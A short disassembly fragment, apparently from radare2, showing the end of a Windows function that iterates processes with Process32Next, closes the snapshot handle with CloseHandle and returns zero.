mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
setne al
test al, al
jne 0x401b59
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret